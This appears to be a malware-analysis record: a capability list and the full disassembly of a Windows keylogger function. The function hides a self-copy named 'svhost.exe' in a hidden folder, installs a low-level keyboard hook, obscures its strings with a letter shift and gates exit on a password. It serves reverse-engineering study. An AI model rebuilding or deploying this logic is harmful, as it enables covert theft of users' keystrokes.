Function at 0x140001430
Capabilities:
Check if file exists
Create directory
Delete file
Get common file path
Get file attributes
Log keystrokes via application hook
Move file
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x600]
sub rsp, 0x700
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5f0], rax
xor r15d, r15d
mov dword [rsp + 0x50], r15d
call qword [sym.imp.KERNEL32.dll_AllocConsole]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_AttachConsole]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rax
lea r8, [0x140005514]
lea rdx, str.CONIN_
lea rcx, [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
lea ecx, [r15 + 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rax
lea r8, [0x140005520]
lea rdx, str.CONOUT_
lea rcx, [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
lea ecx, [r15 + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rax
lea r8, [0x140005520]
lea rdx, str.CONOUT_
lea rcx, [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r15 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x1400015d7
lea r8, str._sssss1
mov edx, 0x104
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathCchAppend]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000155e
xor edx, edx
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edx, [r15 + 2]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov r8d, 0x104
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400015d7
lea r9, [rbp + 0x1d0]
lea r8, str._s_svhost.exe
mov edx, 0x104
lea rcx, [rbp - 0x40]
call fcn.1400012b0
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400015ac
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r8d, 9
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x1400015d7
lea r8, [rbp - 0x40]
mov edx, 0x104
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140002e30]
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x140008700], rax
test rax, rax
jne 0x140001670
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Gbjmfe_up_jotubmm_lfzcpbse_ippl__Fssps_dpef__
lea rcx, [rsp + 0x30]
call fcn.1400032f0
nop
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x78]
call fcn.140001370
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003680
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400036a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x78]
call fcn.140003290
nop
lea rcx, [rsp + 0x30]
call fcn.140003290
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], r15b
mov edx, 1
lea rcx, [0x140001900]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [0x140008718], rax
lea r8, [0x140001920]
mov edx, 0xfffffffc
mov rcx, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov qword [0x140008708], rax
nop dword [rax + rax]
lea rdx, [0x140005530]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400034b0
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp - 0x60]
mov rcx, rbx
call fcn.140003990
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], 4
mov qword [rsp + 0x70], 0xf
mov dword [rsp + 0x58], 0x6c646269
mov byte [rsp + 0x5c], 0
movups xmmword [rsp + 0x30], xmm0
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov edi, 0xf
mov qword [rsp + 0x48], rdi
mov byte [rsp + 0x30], cl
or r15d, 1
mov dword [rsp + 0x50], r15d
lea rbx, [rsp + 0x58]
lea rsi, [rsp + 0x58]
add rsi, 4
cmp rbx, rsi
je 0x1400017cb
nop dword [rax]
movzx r9d, byte [rbx]
dec r9b
cmp rcx, rdi
jae 0x1400017af
lea rax, [rcx + 1]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdi, 0xf
cmova rax, qword [rsp + 0x30]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400017b9
lea rcx, [rsp + 0x30]
call fcn.140003830
inc rbx
mov rdi, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
cmp rbx, rsi
jne 0x140001780
lea rdx, [rsp + 0x30]
cmp rdi, 0xf
seta r14b
mov rbx, qword [rsp + 0x30]
cmova rdx, rbx
lea rax, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rax, qword [rbp - 0x60]
mov r8, qword [rbp - 0x50]
cmp r8, rcx
jne 0x140001809
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140001809
mov sil, 1
jmp 0x14000180c
xor sil, sil
and r15d, 0xfffffffe
test r14b, r14b
je 0x140001843
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000183a
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001856
mov rcx, rbx
call fcn.140003d5c
nop
test sil, sil
jne 0x14000185d
lea rcx, [rbp - 0x60]
call fcn.140001970
jmp 0x1400016e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140002000
mov byte [0x140008710], 0
mov r8, qword [0x140008708]
mov edx, 0xfffffffc
mov rcx, qword [0x140008718]
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
call fcn.140002ea0
call qword [sym.imp.KERNEL32.dll_FreeConsole]
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400018cc
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003d5c
xor eax, eax
mov rcx, qword [rbp + 0x5f0]
xor rcx, rsp
call fcn.140003d00
lea r11, [rsp + 0x700]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret